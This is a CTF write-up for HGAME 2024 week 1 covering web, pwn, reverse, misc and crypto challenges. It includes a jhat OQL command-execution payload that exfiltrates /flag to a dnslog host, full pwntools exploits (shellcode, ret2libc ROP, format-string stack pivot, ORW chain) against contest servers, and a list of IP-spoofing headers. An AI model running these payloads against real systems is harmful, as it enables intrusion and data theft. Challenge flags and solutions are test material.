web 2048*16 这道题是猜的,没有把js代码看明白
js代码搜won
,可以看到这里
V+g5LpoEej/fy0nPNivz9SswHIhGaDOmU8CuXb72dB1xYMrZFRAl=QcTq6JkWK4t3
这个字符串的长度是65,且没有重复的字符,这里我猜一手是base64码表。
根据这个码表,从flag头找flag。
先是用hgame
头来找,取出hga
用变表的base64加密得到hoD8
,然后全局搜,发现没有。
接着尝试flag
头,用fla
进行base64加密得到I7R8
,全局搜得到以下结果
I7R8ITMCnzbCn5eFIC=6yliXfzN=I5NMnz0XIC==yzycysi70ci7y7iK
把这串字符串用变表的base64解码,即可得到flag
Bypass it 这道题注册一个账号登录成功即可。
进入题目来到login.html
,先禁用js,点击注册,来到register_page.php
页面。
之后打开js,随便注册一个账号。
用刚刚注册的账号登录成功后,点击[~Click here~]
即可得到flag。
jhat 参考这篇文章:OQL(对象查询语言)在产品实现中造成的RCE(Object Injection)
在[Execute Object Query Language (OQL) query]
可以直接执行java代码,通过dnslog外带即可得到flag。
java.lang.Runtime.getRuntime().exec("bashKKK-cKKK{echo,Y3VybCBgY2F0IC9mbGFnYC5kZjE1YXUuZG5zbG9nLmNu}|{base64,-d}|{bash,-i}".split("KKK"))
这里利用split
将字符串变成字符数组,echo
后边的base64编码里的内容是我们要执行的命令,这里我执行了
curl `cat /flag`.df15au.dnslog.cn
之后在dnslog
可以查看到flag。
补上花括号即可。
hgame{a90f6f3fde61e38f2c21b82de9c04e5702f1eaad}
ezHTTP 考察的是http头,按照要求添加对应的http头即可。
这里需要注意的是,伪造本地并不是只有X-Forwarded-For
,下面这些都可以
X-Forwarded-For:127.0.0.1 X-Forwarded:127.0.0.1 Forwarded-For:127.0.0.1 Forwarded:127.0.0.1 X-Forwarded-Host:127.0.0.1 X-remote-IP:127.0.0.1 X-remote-addr:127.0.0.1 True-Client-IP:127.0.0.1 X-Client-IP:127.0.0.1 Client-IP:127.0.0.1 X-Real-IP:127.0.0.1 Ali-CDN-Real-IP:127.0.0.1 Cdn-Src-Ip:127.0.0.1 Cdn-Real-Ip:127.0.0.1 CF-Connecting-IP:127.0.0.1 X-Cluster-Client-IP:127.0.0.1 WL-Proxy-Client-IP:127.0.0.1 Proxy-Client-IP:127.0.0.1 Fastly-Client-Ip:127.0.0.1 True-Client-Ip:127.0.0.1
这个题就用了X-Real-IP
来伪造本地。
最后在返回的头中得到一串jwt
,用 jwt.io 解码即可得到flag。
Select Courses 莫名奇妙就出了,很怪。
抓包,抓一个选课的包,然后去爆破重复发,等等就有flag了。
爆破设置选择数值,爆破位置选择User-Agent
的任意一个字符。
id
从1-5
都发一次,爆破结束后访问/api/ok
就能得到flag了。
pwn EzSignIn nc即可得到flag。
ezshellcode 先ida分析
这里要求输入的数字要小于10,注意以下这里的v4
是有符号的int。
查看myread
函数
注意以下形参的a2
是无符号的int,也就是传进来的v4
会转成无符号的a1
,因此在这里v4
传入一个负数绕过主函数的判断。
接着是对shellcode的检查要求是字母+数字,去网上抄一条就行了。
参考链接:[BUUCTF]PWN——mrctf2020_shellcode_revenge(可见字符shellcode)
exp:
from pwn import *context.arch="amd64" context.log_level="debug" p=remote("47.100.137.175" ,31592 ) shellcode="Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t" p.sendafter('input the length of your shellcode:' ,'-1' ) p.sendafter("input your shellcode:" ,shellcode) p.interactive()
Elden Random Challenge ida分析
seed
取的是当前时间,之后是99次的随机数判断,然后就是myread
函数。
myread
函数存在栈溢出,没有后门,用libc打。
先走到myread
,第一次溢出泄露出puts
的地址。
from pwn import *import timefrom ctypes import *p = remote('47.100.137.175' , 32019 ) context(os = 'linux' , arch = 'amd64' , log_level = 'debug' ) libc = cdll.LoadLibrary("libc.so.6" ) elf = ELF('./pwn1' ) pop_rdi = 0x401423 ret = 0x40101a puts_plt = elf.plt["puts" ] puts_got = elf.got["puts" ] myread = 0x40125D name = b'a' *13 libc.srand(int (time.time())) p.sendlineafter(b'thy name.\n' ,name) for _ in range (99 ): v6 = (libc.rand() % 100 ) + 1 p.sendafter(b'the number:\n' ,p32(v6)) payload = b'a' *(48 +8 )+p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(myread) p.sendlineafter("thy brilliant mind.\n" ,payload) puts_addr = p.recv(6 ) print (1 ,puts_addr)puts_addr = puts_addr.ljust(8 , b'\x00' ) print (2 ,puts_addr)puts_addr = u64(puts_addr) print (3 ,puts_addr)print (4 ,hex (puts_addr))p.interactive()
泄露出puts
的地址后3位为420
。
通过 libc database search 查找puts
、 system
和 /bin/sh
的地址。
根据puts
的地址算出libc
的基地址,在第二次栈溢出时getshell
。
from pwn import *import timefrom ctypes import *p = remote('47.100.137.175' , 30915 ) context(os = 'linux' , arch = 'amd64' , log_level = 'debug' ) libc = cdll.LoadLibrary("libc.so.6" ) elf = ELF('./pwn1' ) pop_rdi = 0x401423 ret = 0x40101a puts_plt = elf.plt["puts" ] puts_got = elf.got["puts" ] main_addr = 0x40125D name = b'a' *13 libc.srand(int (time.time())) p.sendlineafter(b'thy name.\n' ,name) for _ in range (99 ): v6 = (libc.rand() % 100 ) + 1 p.sendafter(b'the number:\n' ,p32(v6)) payload = b'a' *(48 +8 )+p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_addr) p.sendlineafter("thy brilliant mind.\n" ,payload) puts_addr = p.recv(6 ) print (1 ,puts_addr)puts_addr = puts_addr.ljust(8 , b'\x00' ) print (2 ,puts_addr)puts_addr = u64(puts_addr) print (3 ,puts_addr)print (4 ,hex (puts_addr))sys_offset = 0x052290 puts_offset = 0x084420 sh_offset = 0x1b45bd libc_base = puts_addr - puts_offset binsh = libc_base + sh_offset system = libc_base + sys_offset payload = b'a' *(48 +8 ) payload += p64(ret) payload += p64(pop_rdi) payload += p64(binsh) payload += p64(system) p.sendline(payload) p.interactive()
ezfmt string 只有一次的格式化字符串
vuln
函数存在格式化字符串,存在后门函数。
格式化字符串能够修改任意地址,这里我用了栈迁移的方法实现对后门函数的调用。
参考链接:栈迁移(leave ret)(更适合pwn宝宝体质的栈迁移~)
经过测试,old ebp在第18个位置,修改这个地址,然后在栈里面写入sys
的地址。
exp需要多跑几次,概率能通
exp:
from pwn import *context.arch="amd64" context.log_level="debug" p = remote("47.100.137.175" ,31349 ) payload = b'%72c%18$hhnaaaaa' +p64(0x40123D )*6 p.sendafter(b'M3?\n' ,payload) p.interactive()
Elden Ring Ⅰ 参考:【PWN · ORW | 栈迁移 | ROP】[HGAME 2023 week1]orw
不能说完全相同,只能说exp一模一样(
改一下vuln
和rsi
的地址即可。
from pwn import *from pwn import p64,u64context(arch='amd64' ,log_level='debug' ) vuln=0x40125B rdi=0x4013e3 io=remote('47.100.245.185' ,30321 ) elf=ELF('./vuln' ) libc=ELF('./libc.so.6' ) puts_plt=elf.plt['puts' ] puts_got=elf.got['puts' ] payload=b'a' *0x108 +p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(vuln) io.sendlineafter(b'I offer you an accord.\n' ,payload) puts_real=u64(io.recvuntil(b'\x7f' )[-6 :].ljust(8 ,b'\x00' )) success('puts_real:' +hex (puts_real)) libc_base=puts_real-libc.sym['puts' ] success('libc_base:' +hex (libc_base)) bss_base=elf.bss() read_real=libc_base+libc.sym['read' ] fd=0 buf=bss_base+0x100 count=0x200 rdi=libc_base+0x23b6a rsi=libc_base+0x2601f rdx=libc_base+0x142c92 rsp=libc_base+0x2f70a payload=b'a' *0x108 +p64(rsi)+p64(buf)+p64(read_real)+p64(rsp)+p64(buf+8 ) io.send(payload) payload=b'/flag' .ljust(8 ,b'\x00' ) open_real=libc_base+libc.sym['open' ] pathname_ptr=buf flags=0 payload+=p64(rdi)+p64(pathname_ptr)+p64(rsi)+p64(flags)+p64(open_real) fd=3 buf2=buf+0x300 count=0x100 payload+=p64(rdi)+p64(fd)+p64(rsi)+p64(buf2)+p64(rdx)+p64(count)+p64(read_real) write_real=libc_base+libc.sym['write' ] handle=1 buf3=buf2 length=0x50 payload+=p64(rdi)+p64(handle)+p64(rsi)+p64(buf3)+p64(rdx)+p64(length)+p64(write_real)+p64(vuln) io.send(payload) sleep(1 ) io.recv() io.interactive()
re ezIDA ida打开即可得到flag。
ezASM 让gpt把汇编转成c
#include <stdio.h> #include <string.h> char c[] = {74 , 69 , 67 , 79 , 71 , 89 , 99 , 113 , 111 , 125 , 107 , 81 , 125 , 107 , 79 , 82 , 18 , 80 , 86 , 22 , 76 , 86 , 125 , 22 , 125 , 112 , 71 , 84 , 17 , 80 , 81 , 17 , 95 , 34 };char flag[33 ];char format[] = "plz input your flag: " ;char success[] = "Congratulations!" ;char failure[] = "Sry, plz try again" ;int main () { write(1 , format, strlen (format)); read(0 , flag, sizeof (flag)); int esi = 0 ; while (esi < 33 ) { if ((flag[esi] ^ 0x22 ) != c[esi]) { write(1 , failure, strlen (failure)); return 1 ; } esi++; } write(1 , success, strlen (success)); return 0 ; }
分析可以得知,c数组的每一个数字异或上0x22
即可得到flag。
脚本:
a = [74 , 69 , 67 , 79 , 71 , 89 , 99 , 113 , 111 , 125 , 107 , 81 , 125 , 107 , 79 , 82 , 18 , 80 , 86 , 22 , 76 , 86 , 125 , 22 , 125 , 112 , 71 , 84 , 17 , 80 , 81 , 17 , 95 , 34 ] for i in a: print (chr (i^0x22 ),end='' )
ezUPX 用工具脱壳,然后拖到ida分析。
把word_1400022A0
的值异或上0x32
即可得到flag。
a=[0x64 ,0x7B ,0x76 ,0x73 ,0x60 ,0x49 ,0x65 ,0x5D ,0x45 ,0x13 ,0x6B ,2 ,0x47 ,0x6D ,0x59 ,0x5C ,0x2 ,0x45 ,0x6D , 6 ,0x6D ,0x5E , 3 ,0x46 ,0x46 ,0x5E ,0x1 ,0x6D ,0x2 ,0x54 ,0x6D ,0x67 ,0x62 ,0x6A ,0x13 ,0x4F ,0x32 ] print (len (a))for i in a: print (chr (i^0x32 ),end='' )
ezPYC 用 pyinstxtractor.py 反编译exe
这里可以看到python版本是311
。
进入反编译后的文件夹,用010修补ezPYC
的文件头。
不同的 Python 版本会有不同的 PyObject_HEAD
,以下是各版本的文件头:
Python 版本
十六进制文件头
Python 2.7
03f30d0a00000000
Python 3.0
3b0c0d0a00000000
Python 3.1
4f0c0d0a00000000
Python 3.2
6c0c0d0a00000000
Python 3.3
9e0c0d0a0000000000000000
Python 3.4
ee0c0d0a0000000000000000
Python 3.5
170d0d0a0000000000000000
Python 3.6
330d0d0a0000000000000000
Python 3.7
420d0d0a000000000000000000000000
Python 3.8
55 0d 0d 0a 00 00 00 00 00 00 00 00 00 00 00 00
Python 3.9
610d0d0a000000000000000000000000
Python 3.10
6f0d0d0a000000000000000000000000
Python 3.11
a70d0d0a000000000000000000000000
用 pycdc.exe
反编译修补后的 ezPYC
,可以得到部分源码。
Unsupported opcode: POP_JUMP_FORWARD_IF_FALSE flag = [ 87 , 75 , 71 , 69 , 83 , 121 , 83 , 125 , 117 , 106 , 108 , 106 , 94 , 80 , 48 , 114 , 100 , 112 , 112 , 55 , 94 , 51 , 112 , 91 , 48 , 108 , 119 , 97 , 115 , 49 , 112 , 112 , 48 , 108 , 100 , 37 , 124 , 2 ] c = [ 1 , 2 , 3 , 4 ] input = input ('plz input flag:' )
这里猜测一下,flag是flag
变量异或上c
变量的值
脚本:
flag = [87 ,75 ,71 ,69 ,83 ,121 ,83 ,125 ,117 ,106 ,108 ,106 ,94 ,80 ,48 ,114 ,100 ,112 ,112 ,55 ,94 ,51 ,112 ,91 ,48 ,108 ,119 ,97 ,115 ,49 ,112 ,112 ,48 ,108 ,100 ,37 ,124 ,2 ] c = [1 ,2 ,3 ,4 ] for i in range (len (flag)): out = flag[i]^c[i%4 ] print (chr (out),end='' )
misc 签到 关注“凌武科技”微信公众号,发送“HGAME2024”获得 Flag!
hgame{welc0me_t0_HGAME_2024}
SignIn 图片放手机上,闭上一只眼睛从侧边看即可。(费眼睛)
hgame{WOW_GREAT_YOU_SEE_IT_WONDERFUL}
simple_attack 附件给了张图片和压缩包,压缩包里有一个和外面名字一样的图片,很明显是明文攻击。
攻击完成后即可得到未加密的压缩包,解压即可。
查看photo.txt
,里面是base64编码,解码后转成图片即可得到flag。
来自星尘的问候 一个即将发售的游戏的主角薇^3带来了一条消息。这段消息隐藏在加密的图片里 但即使解开了图片的六位弱加密,看到的也是一张迷惑的图片。 也许游戏的官网上有这种文字的记录? 补充:flag格式为`hgame\{[a-z0-9_]+\}`
根据题目说明,可以判断是steghide
隐写。
用stegseek
爆破出密钥为123456
,得到一个压缩包。
解压后得到一张图片。
根据 这个网站 来对照字体,得到flag为 hgame{welc0me!}
希儿希儿希尔 图片宽高有问题,根据crc算出正确的宽和高,然后修复。
import binasciiimport structcrc32_hex = 0x121b804d filename = 'secret.png' crcbp = open (filename, "rb" ).read() for i in range (2000 ): for j in range (2000 ): data = crcbp[12 :16 ] + \ struct.pack('>i' , i) + struct.pack('>i' , j) + crcbp[24 :29 ] crc32 = binascii.crc32(data) & 0xffffffff if (crc32 == crc32_hex): print (i, j) print ('wid:' , hex (i)) print ('hight:' , hex (j)) """ 1394 1999 wid: 0x572 hight: 0x7cf """
用zsteg
查看,发现有一个压缩包,还看到了一个KEY
。
将压缩包提取出来并解压,得到
CVOCRJGMKLDJGBQIUIVXHEYLPNWR
希尔密码解密,用这个 在线网站 解密即可
DISAPPEARINTHESEAOFBUTTERFLY
crypto ezRSA 题目:
from Crypto.Util.number import *from secret import flagm=bytes_to_long(flag) p=getPrime(1024 ) q=getPrime(1024 ) n=p*q phi=(p-1 )*(q-1 ) e=0x10001 c=pow (m,e,n) leak1=pow (p,q,n) leak2=pow (q,p,n) print (f'leak1={leak1} ' )print (f'leak2={leak2} ' )print (f'c={c} ' )""" leak1=149127170073611271968182576751290331559018441805725310426095412837589227670757540743929865853650399839102838431507200744724939659463200158012469676979987696419050900842798225665861812331113632892438742724202916416060266581590169063867688299288985734104127632232175657352697898383441323477450658179727728908669 leak2=116122992714670915381309916967490436489020001172880644167179915467021794892927977272080596641785569119134259037522388335198043152206150259103485574558816424740204736215551933482583941959994625356581201054534529395781744338631021423703171146456663432955843598548122593308782245220792018716508538497402576709461 c=10529481867532520034258056773864074017027019578041866245400647840230251661652999709715919620810933437191661180003295923273655675729588558899592524235622728816065501918076120812236580344991140980991532347991252705288633014913479970610056845543523591324177567061948922552275235486615514913932125436543991642607028689762693617305246716492783116813070355512606971626645594961850567586340389705821314842096465631886812281289843132258131809773797777049358789182212570606252509790830994263132020094153646296793522975632191912463919898988349282284972919932761952603379733234575351624039162440021940592552768579639977713099971 """
由费马小定理,可以知道leak1
和leak2
分别是q
和p
,直接代进去算即可。
更具体的讲解参考这个视频:【CTF-加密】RSA之leak=p^q%n+q^p%n
脚本:
import gmpy2from Crypto.Util.number import long_to_bytes q=149127170073611271968182576751290331559018441805725310426095412837589227670757540743929865853650399839102838431507200744724939659463200158012469676979987696419050900842798225665861812331113632892438742724202916416060266581590169063867688299288985734104127632232175657352697898383441323477450658179727728908669 p=116122992714670915381309916967490436489020001172880644167179915467021794892927977272080596641785569119134259037522388335198043152206150259103485574558816424740204736215551933482583941959994625356581201054534529395781744338631021423703171146456663432955843598548122593308782245220792018716508538497402576709461 c=10529481867532520034258056773864074017027019578041866245400647840230251661652999709715919620810933437191661180003295923273655675729588558899592524235622728816065501918076120812236580344991140980991532347991252705288633014913479970610056845543523591324177567061948922552275235486615514913932125436543991642607028689762693617305246716492783116813070355512606971626645594961850567586340389705821314842096465631886812281289843132258131809773797777049358789182212570606252509790830994263132020094153646296793522975632191912463919898988349282284972919932761952603379733234575351624039162440021940592552768579639977713099971 n=p*q e = 65537 d = gmpy2.invert(e, (p - 1 ) * (q - 1 )) m = pow (c, d, n) flag = long_to_bytes(m) print (flag)
ezMath 佩尔方程求解
参考这个文章:连分数求解Pell方程
源码:
from Crypto.Util.number import *from Crypto.Cipher import AESimport random,stringfrom secret import flag,y,xdef pad (x ): return x+b'\x00' *(16 -len (x)%16 ) def encrypt (KEY ): cipher= AES.new(KEY,AES.MODE_ECB) encrypted =cipher.encrypt(flag) return encrypted D = 114514 assert x**2 - D * y**2 == 1 flag=pad(flag) key=pad(long_to_bytes(y))[:16 ] enc=encrypt(key) print (f'enc={enc} ' )
先用java求出 x
和 y
package ysoserial;import java.math.BigInteger;public class Main { public static void solve (int n) { BigInteger N, p1, p2, q1, q2, a0, a1, a2, g1, g2, h1, h2,p,q; g1 = q2 = p1 = BigInteger.ZERO; h1 = q1 = p2 = BigInteger.ONE; a0 = a1 = BigInteger.valueOf((int )Math.sqrt(1.0 *n)); BigInteger ans=a0.multiply(a0); if (ans.equals(BigInteger.valueOf(n))) { System.out.println("No solution!" ); return ; } N = BigInteger.valueOf(n); while (true ) { g2 = a1.multiply(h1).subtract(g1); h2 = N.subtract(g2.pow(2 )).divide(h1); a2 = g2.add(a0).divide(h2); p = a1.multiply(p2).add(p1); q = a1.multiply(q2).add(q1); if (p.pow(2 ).subtract(N.multiply(q.pow(2 ))).compareTo(BigInteger.ONE) == 0 ) break ; g1 = g2;h1 = h2;a1 = a2; p1 = p2;p2 = p; q1 = q2;q2 = q; } System.out.println("x = " +p+"\ny = " +q); } public static void main (String[] args) { int cin = 114514 ; solve(cin); } }
接着带入python中解aes
from Crypto.Util.number import *from Crypto.Cipher import AESimport mathx = 3058389164815894335086675882217709431950420307140756009821362546111334285928768064662409120517323199 y = 9037815138660369922198555785216162916412331641365948545459353586895717702576049626533527779108680 enc=b"\xce\xf1\x94\x84\xe9m\x88\x04\xcb\x9ad\x9e\x08b\xbf\x8b\xd3\r\xe2\x81\x17g\x9c\xd7\x10\x19\x1a\xa6\xc3\x9d\xde\xe7\xe0h\xed/\x00\x95tz)1\\\t8:\xb1,U\xfe\xdec\xf2h\xab`\xe5'\x93\xf8\xde\xb2\x9a\x9a" def pad (x ): return x+b'\x00' *(16 -len (x)%16 ) def decrypt (KEY ): cipher= AES.new(KEY,AES.MODE_ECB) decrypted =cipher.decrypt(enc) return decrypted key=pad(long_to_bytes(y))[:16 ] flag=decrypt(key) print (flag)
奇怪的图片 源码
import timefrom PIL import Image, ImageDraw, ImageFontimport threadingimport randomimport secretsflag = "hgame{fake_flag}" def generate_random_image (width, height ): image = Image.new("RGB" , (width, height), "white" ) pixels = image.load() for x in range (width): for y in range (height): red = random.randint(0 , 255 ) green = random.randint(0 , 255 ) blue = random.randint(0 , 255 ) pixels[x, y] = (red, green, blue) return image def draw_text (image, width, height, token ): font_size = random.randint(16 , 40 ) font = ImageFont.truetype("arial.ttf" , font_size) text_color = (random.randint(0 , 255 ), random.randint(0 , 255 ), random.randint(0 , 255 )) x = random.randint(0 , width - font_size * len (token)) y = random.randint(0 , height - font_size) draw = ImageDraw.Draw(image) draw.text((x, y), token, font=font, fill=text_color) return image def xor_images (image1, image2 ): if image1.size != image2.size: raise ValueError("Images must have the same dimensions." ) xor_image = Image.new("RGB" , image1.size) pixels1 = image1.load() pixels2 = image2.load() xor_pixels = xor_image.load() for x in range (image1.size[0 ]): for y in range (image1.size[1 ]): r1, g1, b1 = pixels1[x, y] r2, g2, b2 = pixels2[x, y] xor_pixels[x, y] = (r1 ^ r2, g1 ^ g2, b1 ^ b2) return xor_image def generate_unique_strings (n, length ): unique_strings = set () while len (unique_strings) < n: random_string = secrets.token_hex(length // 2 ) unique_strings.add(random_string) return list (unique_strings) random_strings = generate_unique_strings(len (flag), 8 ) current_image = generate_random_image(120 , 80 ) key_image = generate_random_image(120 , 80 ) def random_time (image, name ): time.sleep(random.random()) image.save(".\\png_out\\{}.png" .format (name)) for i in range (len (flag)): current_image = draw_text(current_image, 120 , 80 , flag[i]) threading.Thread(target=random_time, args=(xor_images(current_image, key_image), random_strings[i])).start()
可以知道flag是不断追加在画布current_image
上的,每次追加完都会和key_image
异或后输出一张图片。
只要确定 i-1
和 i
,它们相互异或,就能得到 flag[i]
字符
先把所有情况都异或出来,然后单独放一个文件夹。
import timefrom PIL import Image, ImageDraw, ImageFontimport threadingimport randomimport secretsimport osbase_dir = './png_out' files = [file for file in os.listdir(base_dir)] def xor_images (image1, image2 ): if image1.size != image2.size: raise ValueError("Images must have the same dimensions." ) xor_image = Image.new("RGB" , image1.size) pixels1 = image1.load() pixels2 = image2.load() xor_pixels = xor_image.load() for x in range (image1.size[0 ]): for y in range (image1.size[1 ]): r1, g1, b1 = pixels1[x, y] r2, g2, b2 = pixels2[x, y] xor_pixels[x, y] = (r1 ^ r2, g1 ^ g2, b1 ^ b2) return xor_image for i in range (len (files)): os.makedirs(f'./img/{i} _{files[i].split("." )[0 ]} ' ) for j in range (len (files)): img = xor_images(Image.open (f"./png_out/{files[i]} " ),Image.open (f"./png_out/{files[j]} " )) img.save(f'./img/{i} _{files[i].split("." )[0 ]} /{files[j]} ' )
查看所有文件夹,按照大小升序排序,可以在9_5c55dc77
文件夹下看到这个情况。
由此可以确定5c55dc77.png
对应着 flag[0]
的h
,再对这个文件夹单独处理。
import timeimport sysfrom PIL import Image, ImageDraw, ImageFontimport threadingimport randomimport secretsimport os def xor_images (image1, image2 ): if image1.size != image2.size: raise ValueError("Images must have the same dimensions." ) xor_image = Image.new("RGB" , image1.size) pixels1 = image1.load() pixels2 = image2.load() xor_pixels = xor_image.load() for x in range (image1.size[0 ]): for y in range (image1.size[1 ]): r1, g1, b1 = pixels1[x, y] r2, g2, b2 = pixels2[x, y] xor_pixels[x, y] = (r1 ^ r2, g1 ^ g2, b1 ^ b2) return xor_image base_dir = './9_5c55dc77' files = {} for file in os.listdir(base_dir): imgSize = os.stat('./9_5c55dc77/' +file).st_size files[file]=imgSize print (files)sort_files = sorted (files.items(),key = lambda d:d[1 ]) for i in range (len (sort_files)-1 ): img1 = sort_files[i][0 ] img2 = sort_files[i+1 ][0 ] img = xor_images(Image.open ('./9_5c55dc77/' +img1),Image.open ('./9_5c55dc77/' +img2)) img.save(f'./new_img/{str (i)} .png' )
可以在new_img
文件夹下看到flag。
ezPRNG 用z3求解即可
from z3 import *output=['1111110110111011110000101011010001000111111001111110100101000011110111111100010000111110110111100001001000101101011110111100010010100000011111101101110101011010111000000011110000100011101111011011000100101100110100101110001010001101101110000010001000111100101010010110110111101110011011001011111011010101011000011011000111011011111001101010111100101100110001011010010101110011101001100111000011110111000001101110000001111100000100000101111100010110111001110011010000011011110110011000001101011111111010110011010111010101001000010011110110011110110101011110111010011010010110111111010011101000110101111101111000110011111110010110000100100100101101010101110010101001101010101011110111010011101110000100101111010110101111110001111111110010000000001110011100100001011111110100111011000101001101001110010010001100011000001101000111010010000101101111101011000000101000001110001011001010010001000011000000100010010010010111010011111111011100100100100101111111001110000111110110001111001111100101001001100010' , '0010000000001010111100001100011101111101111000100100111010101110010110011001011110101100011101010000001100000110000000011000000110101111111011100100110111011010000100011111000111001000101001110010110010001000110010101011110011101000011111101101011000011110001101011111000110111000011000110011100100101100111100000100100101111001011101110001011011111111011010100010111011000010010101110110100000110100000100010101000010111101001000011000000000111010010101010111101101011111011001000101000100011001100101010110110001010010001010110111011011111101011100111001101111111111010011101111010010011110011111110100110011111110110001000111100010111000101111000011011011111101110101110100111000011100001010110111100011001011010011010111000110101100110100011101101011101000111011000100110110001100110101010110010011011110000111110100111101110000100010000111100010111000010000010001111110110100001000110110100100110110010110111010011111101011110000011101010100110101011110000110101110111011010110110000010000110001' , '1110110110010001011100111110111110111001111101010011001111100100001000111001101011010100010111110101110101111010111100101100010011001001011101000101011000110111000010000101001000100111010110001010000111110110111000011001100010001101000010001111111100000101111000100101000000001001001001101110000100111001110001001011010111111010111101101101001110111010111110110011001000010001010100010010110110101011100000101111100100110011110001001001111100101111001111011011010111001001111010001100110001100001100000110000011111010100101111000000101011111010000111110000101111100010000010010111010110100101010101001111100101011100011001001011000101010101001101100010110000010001110011110011100111000110101010111010011010000001100001011000011101101000000011111000101111101011110011000011011000100100110111010011001111101100101100011000101001110101111001000010110010111101110110010101101000000101001011000000001110001110000100000001001111100011010011000000011011101111101001111110001011101100000010001001010011000001' , '0001101010101010100001001001100010000101010100001010001000100011101100110001001100001001110000110100010101111010110111001101011011101110000011001000100100101000011011101000111001001010011100010001010110111011100100111110111001010010111010100000100111110101110010010110100001000010010001101111001110100010001011101100111011101011101100100101011010101000101001000101110011011111110110011111111100000000011100000010011000110001000110101010001011000010101000110000101001110101010111011010010111011001010011100010101001100110000110101100010000100110101110100001101001011011110011100110011001010110100101010111110110111100000111010001111101110000000000111011011101000011001010010111001110111000100111011110100101000100011011101100011111000101110110110111111001111000000011100011000010000101001011001101110101000010101001000100110010000101001111100101000001011011010011110001101000001101111010100101001100010100000111000011110101010100011011001110001011110111010111011010101101100000110000001010010101111011' ] mask=0b10001001000010000100010010001001 def PRNG (R,mask ): nextR = (R << 1 ) & 0xffffffff i=(R&mask)&0xffffffff nextbit=0 for _ in range (32 ): nextbit ^= (i%2 ) i = i>>1 nextR^=nextbit return (nextR,nextbit) flag='' for k in range (4 ): R = BitVec('R' ,32 ) s = Solver() for i in range (32 ): (R,nextbit)=PRNG(R,mask) s.add(nextbit==output[k][i]) if s.check() == sat: res = s.model() m = str (res)[5 :-1 ] flag+=hex (int (m))[2 :] print (flag)hgame = 'hgame{' +flag[:8 ]+'-' +flag[8 :12 ]+'-' +flag[12 :16 ]+'-' +flag[16 :20 ]+'-' +flag[20 :]+'}' print (hgame)